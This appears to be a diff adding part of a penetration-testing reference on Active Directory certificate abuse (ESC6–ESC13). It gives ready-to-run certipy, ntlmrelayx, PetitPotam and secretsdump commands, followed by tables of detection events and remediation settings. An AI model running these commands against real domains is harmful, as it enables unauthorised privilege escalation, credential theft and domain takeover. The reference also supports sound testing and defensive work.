+ -configuration VulnTemplate.json -dc-ip DC
78
+ ```
79
+
80
+ ### ESC6
81
+
82
+ ```bash
83
+ # Verify flag
84
+ certutil -config "ca.domain.com\CORP-CA" -getreg policy\EditFlags
85
+ # Look for EDITF_ATTRIBUTESUBJECTALTNAME2
86
+
87
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
88
+ -template User -upn administrator@domain.com
89
+ certipy auth -pfx administrator.pfx -dc-ip DC
90
+ ```
91
+
92
+ ### ESC7
93
+
94
+ ```bash
95
+ # Enable SubCA template (ManageCA)
96
+ certipy ca -u user@domain.com -p pass -ca CORP-CA -dc-ip DC -enable-template SubCA
97
+
98
+ # Request (gets denied to pending)
99
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
100
+ -template SubCA -upn administrator@domain.com
101
+ # Note the request ID
102
+
103
+ # Approve (ManageCertificates)
104
+ certipy ca -u user@domain.com -p pass -ca CORP-CA -dc-ip DC -issue-request ID
105
+
106
+ # Retrieve
107
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com -retrieve ID
108
+ certipy auth -pfx administrator.pfx -dc-ip DC
109
+ ```
110
+
111
+ ### ESC8
112
+
113
+ ```bash
114
+ # Setup relay
115
+ ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp -smb2support \
116
+ --adcs --template DomainController
117
+
118
+ # Coerce DC
119
+ PetitPotam.py RELAY_HOST DC01.domain.com
120
+ # Or: printerbug.py DOMAIN/user:pass@DC01 RELAY_HOST
121
+
122
+ # Auth with captured cert
123
+ certipy auth -pfx dc01.pfx -dc-ip DC
124
+ # DCSync with DC machine account
125
+ secretsdump.py -hashes :DC01_HASH DOMAIN/DC01\$@DC -just-dc
126
+ ```
127
+
128
+ ### ESC11
129
+
130
+ ```bash
131
+ ntlmrelayx.py -t "rpc://ca.domain.com" -rpc-mode ICPR -icpr-ca-name "CORP-CA" \
132
+ -smb2support --adcs --template DomainController
133
+
134
+ # Coerce + capture same as ESC8
135
+ ```
136
+
137
+ ### ESC13
138
+
139
+ ```bash
140
+ # Enumerate OID group links
141
+ certipy find -u user@domain.com -p pass -dc-ip DC -vulnerable -stdout | grep -A 10 "ESC13"
142
+
143
+ certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
144
+ -template ESC13Template
145
+ certipy auth -pfx user.pfx -dc-ip DC
146
+ # Verify group membership added
147
+ ```
148
+
149
+ ---
150
+
151
+ ## 3. DETECTION INDICATORS
152
+
153
+ | ESC | Detection Method |
154
+ |---|---|
155
+ | ESC1/2 | Event 4887: certificate request with SAN different from requester |
156
+ | ESC3 | Event 4887: enrollment agent request + subsequent on-behalf-of |
157
+ | ESC4 | Event 5136: directory service object modification on template |
158
+ | ESC6 | Audit `EDITF_ATTRIBUTESUBJECTALTNAME2` flag on CA |
159
+ | ESC7 | Event 4870/4882: CA configuration change |
160
+ | ESC8 | Network: NTLM authentication to HTTP enrollment endpoint |
161
+ | ESC9/10 | Event 4768: PKINIT auth with certificate mapping mismatch |
162
+ | ESC11 | Network: NTLM authentication to CA RPC interface |
163
+ | ESC13 | Event 4887: enrollment in template with OID group link |
164
+
165
+ ---
166
+
167
+ ## 4. TOOL COMPARISON
168
+
169
+ | Feature | Certipy (Python) | Certify (C#) | ForgeCert (C#) |
170
+ |---|---|---|---|
171
+ | **Platform** | Linux/Windows | Windows | Windows |
172
+ | **Enumerate** | Yes (`find`) | Yes (`find`) | No |
173
+ | **ESC1-4** | Yes | Yes | No |
174
+ | **ESC5-8** | Yes | Partial | No |
175
+ | **ESC9-13** | Yes (latest) | No | No |
176
+ | **Template modify** | Yes | No | No |
177
+ | **CA backup** | Yes | No | No |
178
+ | **Forge certs** | Yes (`forge`) | No | Yes |
179
+ | **Auth (PKINIT)** | Yes (`auth`) | No | No |
180
+ | **Relay integration** | Via ntlmrelayx | N/A | N/A |
181
+
182
+ ---
183
+
184
+ ## 5. REMEDIATION QUICK REFERENCE
185
+
186
+ | ESC | Fix |
187
+ |---|---|
188
+ | ESC1 | Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` or restrict enrollment |
189
+ | ESC2 | Remove "Any Purpose" EKU, set specific EKU |
190
+ | ESC3 | Restrict enrollment agent template to specific users |
191
+ | ESC4 | Audit and restrict write ACLs on certificate templates |
192
+ | ESC6 | Remove `EDITF_ATTRIBUTESUBJECTALTNAME2` flag: `certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2` |
193
+ | ESC7 | Restrict ManageCA/ManageCertificates to necessary admins |
194
+ | ESC8 | Enforce HTTPS + EPA on enrollment endpoints; disable HTTP |
195
+ | ESC9/10 | Set `StrongCertificateBindingEnforcement = 2` on all DCs |
196
+ | ESC11 | Set `IF_ENFORCEENCRYPTICERTREQUEST` on CA RPC interface |
197
+ | ESC13 | Audit OID group links in issuance policies |